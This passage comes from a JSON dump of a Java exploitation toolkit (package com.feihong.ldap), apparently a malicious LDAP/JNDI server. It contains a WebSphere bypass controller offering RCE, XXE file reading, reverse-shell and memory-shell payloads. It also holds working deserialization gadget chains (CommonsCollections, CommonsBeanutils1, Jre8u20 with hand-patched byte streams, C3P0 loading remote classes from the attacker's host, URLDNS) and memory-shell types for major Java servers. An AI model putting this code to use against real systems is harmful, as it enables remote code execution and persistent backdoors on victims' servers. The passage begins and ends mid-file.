+\n                    \"        str = '\" + classCode + \"';\\n\" +\n                    \"        try{\\n\" +\n                    \"            var clazz = java.lang.Class.forName('java.util.Base64');\\n\" +\n                    \"            var method = clazz.getDeclaredMethod('getDecoder');\\n\" +\n                    \"            var obj = method.invoke(null);\\n\" +\n                    \"            method = obj.getClass().getDeclaredMethod('decode', java.lang.String.class);\\n\" +\n                    \"            obj = method.invoke(obj, str);\\n\" +\n                    \"            bytes = obj;\\n\" +\n                    \"        }catch(err){\\n\" +\n                    \"            var clazz = java.lang.Class.forName('sun.misc.BASE64Decoder');\\n\" +\n                    \"            var method = clazz.getMethod('decodeBuffer', java.lang.String.class);\\n\" +\n                    \"            var obj = method.invoke(clazz.newInstance(), str);\\n\" +\n                    \"            bytes = obj;\\n\" +\n                    \"        }\\n\" +\n                    \"            \\n\" +\n                    \"            var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\\n\" +\n                    \"            var method = null;\\n\" +\n                    \"            var clz = classLoader.getClass();\\n\" +\n                    \"            while(method == null && clz != java.lang.Object.class ){\\n\" +\n                    \"                try{\\n\" +\n                    \"                    method = clz.getDeclaredMethod('defineClass', '123'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\\n\" +\n                    \"                }catch(err){\\n\" +\n                    \"                    clz = clz.getSuperclass();\\n\" +\n                    \"                }\\n\" +\n                    \"            }\\n\" +\n                    \"            method.setAccessible(true);\\n\" +\n                    \"            var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\\n\" +\n                    \"            clazz.newInstance();\";\n\n            return code;\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java",
    "content": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.enumtypes.WebsphereActionType;\nimport com.feihong.ldap.exceptions.IncorrectParamsException;\nimport com.feihong.ldap.exceptions.UnSupportedActionTypeException;\nimport com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;\nimport com.feihong.ldap.utils.*;\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\nimport com.unboundid.ldap.sdk.Entry;\nimport com.unboundid.ldap.sdk.LDAPResult;\nimport com.unboundid.ldap.sdk.ResultCode;\nimport javax.naming.Reference;\nimport javax.naming.StringRefAddr;\nimport java.util.Properties;\n\n/*\n     * Requires:\n     * - websphere v6-9 libraries in the classpath\n */\n\n@LdapMapping(uri = { \"/webspherebypass\" })\npublic class WebsphereBypassController implements LdapController {\n    private WebsphereActionType actionType;\n    private String localJarPath;\n    private String injectUrl;\n\n    @Override\n    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {\n\n        System.out.println(\"[+] Sending LDAP ResourceRef result for \" + base);\n\n        Entry e = new Entry(base);\n        e.addAttribute(\"javaClassName\", \"java.lang.String\"); //could be any\n\n        if(actionType == WebsphereActionType.rce){\n            //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory\n            Reference ref = new Reference(\"ExportObject\",\n                    \"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory\", null);\n            Properties refProps = new Properties();\n            refProps.put(\"com.ibm.ws.client.classpath\", localJarPath);\n            refProps.put(\"com.ibm.ws.client.classname\", \"xExportObject\");\n//            ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr(\"JMSProperties\", refProps));\n            e.addAttribute(\"javaSerializedData\", Util.serialize(ref));\n\n        }else{\n            //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory\n            javax.naming.Reference ref = new Reference(\"ExploitObject\",\n                    \"com.ibm.ws.webservices.engine.client.ServiceFactory\", null);\n            ref.add(new StringRefAddr(\"WSDL location\", injectUrl));\n            ref.add(new StringRefAddr(\"service namespace\",\"xxx\"));\n            ref.add(new StringRefAddr(\"service local part\",\"yyy\"));\n            e.addAttribute(\"javaSerializedData\", Util.serialize(ref));\n        }\n\n        result.sendSearchEntry(e);\n        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));\n    }\n\n    @Override\n    public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {\n        try{\n            int firstIndex = base.indexOf(\"/\");\n            int secondIndex = base.indexOf(\"/\", firstIndex + 1);\n            if(secondIndex < 0) secondIndex = base.length();\n\n            try{\n                actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());\n                System.out.println(\"[+] ActionType: \" + actionType);\n            }catch(IllegalArgumentException e){\n                throw new UnSupportedActionTypeException(\"UnSupportedActionType: \" + base.substring(firstIndex + 1, secondIndex));\n            }\n\n            switch(actionType){\n                case list:\n                    String file = base.substring(base.lastIndexOf(\"=\") + 1);\n                    System.out.println(\"[+] Read File/List Directory: \" + file);\n                    injectUrl = \"http://\" + Config.ip + \":\" + Config.httpPort + \"/list.wsdl?file=\" + file;\n                    break;\n                case rce:\n                    String localJarFile = base.substring(base.lastIndexOf(\"=\") + 1);\n                    System.out.println(\"[+] Local jar path: \" + localJarFile);\n                    localJarPath = localJarFile;\n                    break;\n                case upload:\n                    int thirdIndex = base.indexOf(\"/\", secondIndex + 1);\n                    if(thirdIndex < 0) thirdIndex = base.length();\n\n                    PayloadType payloadType = null;\n                    try{\n                        payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());\n                        // webspherebypass 只支持这 4 种类型的 PayloadType\n                        if(payloadType != PayloadType.command && payloadType != PayloadType.dnslog\n                                && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell){\n                            throw new UnSupportedPayloadTypeException(\"UnSupportedPayloadType: \" + payloadType);\n                        }\n                    }catch(IllegalArgumentException e){\n                        throw new UnSupportedPayloadTypeException(\"UnSupportedPayloadType: \" + base.substring(secondIndex + 1, thirdIndex));\n                    }\n\n                    System.out.println(\"[+] PayloadType: \" + payloadType);\n                    switch (payloadType){\n                        case command:\n                            String cmd = Util.getCmdFromBase(base);\n                            System.out.println(\"[+] Command: \" + cmd);\n                            injectUrl = \"http://\" + Config.ip + \":\" + Config.httpPort + \"/upload.wsdl?type=command&cmd=\" + cmd;\n                            break;\n                        case dnslog:\n                            String url = base.substring(base.lastIndexOf(\"/\") + 1);\n                            System.out.println(\"[+] URL: \" + url);\n                            injectUrl = \"http://\" + Config.ip + \":\" + Config.httpPort + \"/upload.wsdl?type=dnslog&url=\" + url;\n                            break;\n                        case reverseshell:\n                            String[] results = Util.getIPAndPortFromBase(base);\n                            System.out.println(\"[+] IP: \" + results[0]);\n                            System.out.println(\"[+] Port: \" + results[1]);\n                            injectUrl = \"http://\" + Config.ip + \":\" + Config.httpPort + \"/upload.wsdl?type=reverseshell&ip=\" + results[0] + \"&port=\" + results[1];\n                            break;\n                        case webspherememshell:\n                            injectUrl = \"http://\" + Config.ip + \":\" + Config.httpPort + \"/upload.wsdl?type=webspherememshell\";\n                            break;\n                    }\n                    break;\n            }\n        }catch(Exception e){\n            if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;\n            if(e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException)e;\n\n            throw new IncorrectParamsException(\"Incorrect params: \" + base);\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/feihong/ldap/enumtypes/GadgetType.java",
    "content": "package com.feihong.ldap.enumtypes;\n\npublic enum GadgetType {\n    urldns,\n    commonsbeanutils1,\n    commonscollections1,\n    commonscollections2,\n    jre8u20,\n    c3p0;\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/enumtypes/MemShellType.java",
    "content": "package com.feihong.ldap.enumtypes;\n\npublic final class MemShellType {\n\n    private MemShellType(){};\n\n    public static final String TOMCAT = \"com.feihong.ldap.template.TomcatMemshellTemplate\";\n    public static final String JETTY = \"com.feihong.ldap.template.JettyMemshellTemplate\";\n    public static final String WEBLOGIC = \"com.feihong.ldap.template.WeblogicMemshellTemplate\";\n    public static final String JBOSS = \"com.feihong.ldap.template.JBossMemshellTemplate\";\n    public static final String WEBSPHERE = \"com.feihong.ldap.template.WebsphereMemshellTemplate\";\n    public static final String SPRING = \"com.feihong.ldap.template.SpringMemshellTemplate\";\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/enumtypes/PayloadType.java",
    "content": "package com.feihong.ldap.enumtypes;\n\npublic enum PayloadType {\n    command,\n    dnslog,\n    reverseshell,\n    tomcatmemshell,\n    weblogicmemshell,\n    jettymemshell,\n    jbossmemshell,\n    webspherememshell,\n    springmemshell;\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java",
    "content": "package com.feihong.ldap.enumtypes;\n\npublic enum WebsphereActionType {\n    list,\n    upload,\n    rce;\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java",
    "content": "package com.feihong.ldap.exceptions;\n\npublic class IncorrectParamsException extends RuntimeException {\n    public IncorrectParamsException(){\n        super();\n    }\n    public IncorrectParamsException(String message){\n        super(message);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java",
    "content": "package com.feihong.ldap.exceptions;\n\npublic class UnSupportedActionTypeException extends RuntimeException{\n    public UnSupportedActionTypeException(){\n        super();\n    }\n    public UnSupportedActionTypeException(String message){\n        super(message);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java",
    "content": "package com.feihong.ldap.exceptions;\n\npublic class UnSupportedGadgetTypeException extends RuntimeException {\n    public UnSupportedGadgetTypeException(){ super();}\n    public UnSupportedGadgetTypeException(String message){\n        super(message);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java",
    "content": "package com.feihong.ldap.exceptions;\n\npublic class UnSupportedPayloadTypeException extends RuntimeException {\n    public UnSupportedPayloadTypeException(){\n        super();\n    }\n    public UnSupportedPayloadTypeException(String message){\n        super(message);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/C3P0.java",
    "content": "package com.feihong.ldap.gadgets;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.sql.SQLException;\nimport java.sql.SQLFeatureNotSupportedException;\nimport java.util.logging.Logger;\nimport javax.naming.NamingException;\nimport javax.naming.Reference;\nimport javax.naming.Referenceable;\nimport javax.sql.ConnectionPoolDataSource;\nimport javax.sql.PooledConnection;\nimport com.feihong.ldap.template.CommandTemplate;\nimport com.feihong.ldap.template.DnslogTemplate;\nimport com.feihong.ldap.template.ReverseShellTemplate;\nimport com.feihong.ldap.utils.Config;\nimport com.feihong.ldap.enumtypes.MemShellType;\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.mchange.v2.c3p0.PoolBackedDataSource;\nimport com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;\n\n\npublic class C3P0 {\n    public static byte[] getBytes(PayloadType type, String... param) throws Exception {\n\n        String className;\n        switch (type){\n            case command:\n                CommandTemplate commandTemplate = new CommandTemplate(param[0]);\n                commandTemplate.cache();\n                className = commandTemplate.getClassName();\n                break;\n            case dnslog:\n                DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);\n                dnslogTemplate.cache();\n                className = dnslogTemplate.getClassName();\n                break;\n            case reverseshell:\n                ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);\n                reverseShellTemplate.cache();\n                className = reverseShellTemplate.getClassName();\n                break;\n            case tomcatmemshell:\n                className = MemShellType.TOMCAT;\n                break;\n            case jettymemshell:\n                className = MemShellType.JETTY;\n                break;\n            case jbossmemshell:\n                className = MemShellType.JBOSS;\n                break;\n            case weblogicmemshell:\n                className = MemShellType.WEBLOGIC;\n                break;\n            case webspherememshell:\n                className = MemShellType.WEBSPHERE;\n                break;\n            case springmemshell:\n                className = MemShellType.SPRING;\n                break;\n            default:\n                throw new IllegalStateException(\"Unexpected value: \" + type);\n        }\n\n        PoolBackedDataSource b = PoolBackedDataSource.class.newInstance();\n        Field field = PoolBackedDataSourceBase.class.getDeclaredField(\"connectionPoolDataSource\");\n        field.setAccessible(true);\n        field.set(b, new PoolSource(className,\"http://\" + Config.ip + \":\" + Config.httpPort + \"/\"));\n\n        //序列化\n        ByteArrayOutputStream baous = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baous);\n        oos.writeObject(b);\n        byte[] bytes = baous.toByteArray();\n        oos.close();\n\n        return bytes;\n    }\n\n\n    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {\n\n        private String className;\n        private String url;\n\n        public PoolSource ( String className, String url ) {\n            this.className = className;\n            this.url = url;\n        }\n\n        public Reference getReference () throws NamingException {\n            return new Reference(\"exploit\", this.className, this.url);\n        }\n\n        public PrintWriter getLogWriter () throws SQLException {return null;}\n        public void setLogWriter ( PrintWriter out ) throws SQLException {}\n        public void setLoginTimeout ( int seconds ) throws SQLException {}\n        public int getLoginTimeout () throws SQLException {return 0;}\n        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}\n        public PooledConnection getPooledConnection () throws SQLException {return null;}\n        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java",
    "content": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.gadgets.utils.Gadgets;\nimport com.feihong.ldap.gadgets.utils.Reflections;\nimport org.apache.commons.beanutils.BeanComparator;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.math.BigInteger;\nimport java.util.PriorityQueue;\n\npublic class CommonsBeanutils1 {\n    public static void main(String[] args) throws Exception {\n        byte[] bytes = getBytes(PayloadType.command, \"calc\");\n        FileOutputStream fous = new FileOutputStream(\"333.ser\");\n        fous.write(bytes);\n        fous.close();\n    }\n\n    public static byte[] getBytes(PayloadType type, String... param) throws Exception {\n        final Object templates = Gadgets.createTemplatesImpl(type, param);\n        // mock method name until armed\n        final BeanComparator comparator = new BeanComparator(\"lowestSetBit\");\n\n        // create queue with numbers and basic comparator\n        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);\n        // stub data for replacement later\n        queue.add(new BigInteger(\"1\"));\n        queue.add(new BigInteger(\"1\"));\n\n        // switch method called by comparator\n        Reflections.setFieldValue(comparator, \"property\", \"outputProperties\");\n\n        // switch contents of queue\n        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, \"queue\");\n        queueArray[0] = templates;\n        queueArray[1] = templates;\n\n\n        //序列化\n        ByteArrayOutputStream baous = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baous);\n        oos.writeObject(queue);\n        byte[] bytes = baous.toByteArray();\n        oos.close();\n\n        return bytes;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/CommonsCollections1.java",
    "content": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.gadgets.utils.Gadgets;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\nimport javax.xml.transform.Templates;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\n\npublic class CommonsCollections1 {\n    public static void main(String[] args) throws Exception {\n        byte[] bytes = getBytes(PayloadType.command, \"calc\");\n        FileOutputStream fous = new FileOutputStream(\"out2222.ser\");\n        fous.write(bytes);\n        fous.close();\n    }\n\n    public static byte[] getBytes(PayloadType type, String... param) throws Exception {\n        Object templates = Gadgets.createTemplatesImpl(type, param);\n\n        HashMap InnerMap = new HashMap();\n        Transformer[] trans = new Transformer[]{\n                new ConstantTransformer(TrAXFilter.class),\n                new InstantiateTransformer(\n                        new Class[]{Templates.class},\n                        new Object[]{templates}\n                )\n        };\n\n        ChainedTransformer chined = new ChainedTransformer(trans);\n        Map outmap = LazyMap.decorate(InnerMap,chined);\n        TiedMapEntry entry = new TiedMapEntry(outmap, \"whatever\");\n\n        //构造外部入口链\n        HashSet newSet = new HashSet(1);\n        newSet.add(\"placeHolder\");\n        Field innerSetMap  = HashSet.class.getDeclaredField(\"map\");\n        innerSetMap.setAccessible(true);\n        //修改hashset内部的hashmap存储\n        HashMap setMap = (HashMap)innerSetMap.get(newSet);\n        Field table = HashMap.class.getDeclaredField(\"table\");\n        table.setAccessible(true);\n        //拿到存储的数据\n        Object[] obj =(Object[])table.get(setMap);\n        Object node  = obj[0];\n\n        Field key = node.getClass().getDeclaredField(\"key\");\n        key.setAccessible(true);\n        key.set(node,entry);\n\n        //序列化\n        ByteArrayOutputStream baous = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baous);\n        oos.writeObject(newSet);\n        byte[] bytes = baous.toByteArray();\n        oos.close();\n\n        return bytes;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/CommonsCollections2.java",
    "content": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.gadgets.utils.Gadgets;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport org.apache.commons.collections4.Transformer;\nimport org.apache.commons.collections4.functors.ChainedTransformer;\nimport org.apache.commons.collections4.functors.ConstantTransformer;\nimport org.apache.commons.collections4.functors.InstantiateTransformer;\nimport org.apache.commons.collections4.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections4.map.LazyMap;\nimport javax.xml.transform.Templates;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\n\npublic class CommonsCollections2 {\n    public static void main(String[] args) throws Exception {\n        byte[] bytes = getBytes(PayloadType.command, \"calc\");\n        FileOutputStream fous = new FileOutputStream(\"4444.ser\");\n        fous.write(bytes);\n        fous.close();\n    }\n\n    public static byte[] getBytes(PayloadType type, String... param) throws Exception {\n        Object templates = Gadgets.createTemplatesImpl(type, param);\n\n        HashMap InnerMap = new HashMap();\n        Transformer[] trans = new Transformer[]{\n                new ConstantTransformer(TrAXFilter.class),\n                new InstantiateTransformer(\n                        new Class[]{Templates.class},\n                        new Object[]{templates}\n                )\n        };\n\n        ChainedTransformer chined = new ChainedTransformer(trans);\n        Map outmap = LazyMap.lazyMap(InnerMap,chined);\n        TiedMapEntry entry = new TiedMapEntry(outmap, \"whatever\");\n\n        //构造外部入口链\n        HashSet newSet = new HashSet(1);\n        newSet.add(\"placeHolder\");\n        Field innerSetMap  = HashSet.class.getDeclaredField(\"map\");\n        innerSetMap.setAccessible(true);\n        //修改hashset内部的hashmap存储\n        HashMap setMap = (HashMap)innerSetMap.get(newSet);\n        Field table = HashMap.class.getDeclaredField(\"table\");\n        table.setAccessible(true);\n        //拿到存储的数据\n        Object[] obj =(Object[])table.get(setMap);\n        Object node  = obj[0];\n\n        Field key = node.getClass().getDeclaredField(\"key\");\n        key.setAccessible(true);\n        key.set(node,entry);\n\n        //序列化\n        ByteArrayOutputStream baous = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baous);\n        oos.writeObject(newSet);\n        byte[] bytes = baous.toByteArray();\n        oos.close();\n\n        return bytes;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/Jre8u20.java",
    "content": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.gadgets.utils.Gadgets;\nimport com.feihong.ldap.gadgets.utils.Reflections;\nimport com.feihong.ldap.gadgets.utils.Util;\n\nimport javax.xml.transform.Templates;\nimport java.beans.beancontext.BeanContextSupport;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.util.HashMap;\nimport java.util.LinkedHashSet;\n\npublic class Jre8u20 {\n    public static void main(String[] args) throws Exception {\n        byte[] bytes = getBytes(PayloadType.command, \"calc\");\n        FileOutputStream fous = new FileOutputStream(\"888.ser\");\n        fous.write(bytes);\n        fous.close();\n    }\n\n    public static byte[] getBytes(PayloadType type, String... param) throws Exception {\n        final Object templates = Gadgets.createTemplatesImpl(type, param);\n        String zeroHashCodeStr = \"f5a5a608\";\n\n        HashMap map = new HashMap();\n        map.put(zeroHashCodeStr, \"foo\");\n\n        InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);\n        Reflections.setFieldValue(handler, \"type\", Templates.class);\n        Templates proxy = Gadgets.createProxy(handler, Templates.class);\n        Reflections.setFieldValue(templates, \"_auxClasses\", null);\n        Reflections.setFieldValue(templates, \"_class\", null);\n\n        map.put(zeroHashCodeStr, templates); // swap in real object\n\n        LinkedHashSet set = new LinkedHashSet();\n\n        BeanContextSupport bcs = new BeanContextSupport();\n        Class cc = Class.forName(\"java.beans.beancontext.BeanContextSupport\");\n        Field serializable = cc.getDeclaredField(\"serializable\");\n        serializable.setAccessible(true);\n        serializable.set(bcs, 0);\n\n        Field beanContextChildPeer = cc.getSuperclass().getDeclaredField(\"beanContextChildPeer\");\n        beanContextChildPeer.set(bcs, bcs);\n\n        set.add(bcs);\n\n        //序列化\n        ByteArrayOutputStream baous = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baous);\n\n        oos.writeObject(set);\n        oos.writeObject(handler);\n        oos.writeObject(templates);\n        oos.writeObject(proxy);\n        oos.close();\n\n        byte[] bytes = baous.toByteArray();\n        bytes[89] = 3; //修改hashset的长度（元素个数）\n\n        //调整 TC_ENDBLOCKDATA 标记的位置\n        //0x73 = 115, 0x78 = 120\n        //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA\n        for(int i = 0; i < bytes.length; i++){\n            if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&\n                    bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){\n                bytes = Util.deleteAt(bytes, i + 5);\n                break;\n            }\n        }\n\n\n        //将 serializable 的值修改为 1\n        //0x73 = 115, 0x78 = 120\n        //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA\n        for(int i = 0; i < bytes.length; i++){\n            if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&\n                    bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){\n                bytes[i+6] = 1;\n                break;\n            }\n        }\n\n        /**\n         TC_BLOCKDATA - 0x77\n         Length - 4 - 0x04\n         Contents - 0x00000000\n         TC_ENDBLOCKDATA - 0x78\n         **/\n\n        //把这部分内容先删除，再附加到 AnnotationInvocationHandler 之后\n        //目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流\n        //0x77 = 119, 0x78 = 120\n        //0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA\n        for(int i = 0; i < bytes.length; i++){\n            if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&\n                    bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){\n                bytes = Util.deleteAt(bytes, i);\n                bytes = Util.deleteAt(bytes, i);\n                bytes = Util.deleteAt(bytes, i);\n                bytes = Util.deleteAt(bytes, i);\n                bytes = Util.deleteAt(bytes, i);\n                bytes = Util.deleteAt(bytes, i);\n                bytes = Util.deleteAt(bytes, i);\n                break;\n            }\n        }\n\n        /*\n              serialVersionUID - 0x00 00 00 00 00 00 00 00\n                  newHandle 0x00 7e 00 28\n                  classDescFlags - 0x00 -\n                  fieldCount - 0 - 0x00 00\n                  classAnnotations\n                    TC_ENDBLOCKDATA - 0x78\n                  superClassDesc\n                    TC_NULL - 0x70\n              newHandle 0x00 7e 00 29\n         */\n        //0x78 = 120, 0x70 = 112\n        //0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL\n        for(int i = 0; i < bytes.length; i++){\n            if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&\n                    bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&\n                    bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&\n                    bytes[i+12] == 112){\n                i = i + 13;\n                bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);\n                bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);\n                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);\n                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);\n                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);\n                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);\n                bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);\n                break;\n            }\n        }\n\n        //将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD\n        //这一步其实不是通过理论推算出来的，是通过debug 以及查看 pwntester的 poc 发现需要这么改\n        //原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true，导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))\n        // -> count = ois.readInt(); 报错，无法完成整个反序列化流程\n        // 没有 SC_WRITE_METHOD 标记，认为这个反序列流到此就结束了\n        // 标记： 7375 6e2e 7265 666c 6563 --> sun.reflect...\n        for(int i = 0; i < bytes.length; i++){\n            if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&\n                    bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){\n                i = i + 58;\n                bytes[i] = 3;\n                break;\n            }\n        }\n\n        //加回之前删除的 TC_BLOCKDATA，表明 HashSet 到此结束\n        bytes = Util.addAtLast(bytes, (byte) 0x78);\n\n        return bytes;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/URLDNS.java",
    "content": "package com.feihong.ldap.gadgets;\n\nimport com.feihong.ldap.gadgets.utils.Reflections;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectOutputStream;\nimport java.net.InetAddress;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.net.URLStreamHandler;\nimport java.util.HashMap;\n\npublic class URLDNS {\n    public static byte[] getBytes(final String url) throws Exception {\n\n        //Avoid DNS resolution during payload creation\n        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.\n        URLStreamHandler handler = new SilentURLStreamHandler();\n\n        HashMap ht = new HashMap(); // HashMap that will contain the URL\n        URL u = new URL(null, url, handler); // URL to use as the Key\n        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.\n\n        Reflections.setFieldValue(u, \"hashCode\", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.\n\n        ByteArrayOutputStream baous = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baous);\n        oos.writeObject(ht);\n        byte[] bytes = baous.toByteArray();\n        oos.close();\n\n        return bytes;\n    }\n\n\n    static class SilentURLStreamHandler extends URLStreamHandler {\n\n        protected URLConnection openConnection(URL u) throws IOException {\n            return null;\n        }\n\n        protected synchronized InetAddress getHostAddress(URL u) {\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java",
    "content": "package com.feihong.ldap.gadgets.utils;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class ClassFiles {\n    public static String classAsFile(final Class<?> clazz) {\n        return classAsFile(clazz, true);\n    }\n\n    public static String classAsFile(final Class<?> clazz, boolean suffix) {\n        String str;\n        if (clazz.getEnclosingClass() == null) {\n            str = clazz.getName().replace(\".\", \"/\");\n        } else {\n            str = classAsFile(clazz.getEnclosingClass(), false) + \"$\" + clazz.getSimpleName();\n        }\n        if (suffix) {\n            str += \".class\";\n        }\n        return str;\n    }\n\n    public static byte[] classAsBytes(final Class<?> clazz) {\n        try {\n            final byte[] buffer = new byte[1024];\n            final String file = classAsFile(clazz);\n            final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);\n            if (in == null) {\n                throw new IOException(\"couldn't find '\" + file + \"'\");\n            }\n            final ByteArrayOutputStream out = new ByteArrayOutputStream();\n            int len;\n            while ((len = in.read(buffer)) != -1) {\n                out.write(buffer, 0, len);\n            }\n            return out.toByteArray();\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n}\n"
  },
  {
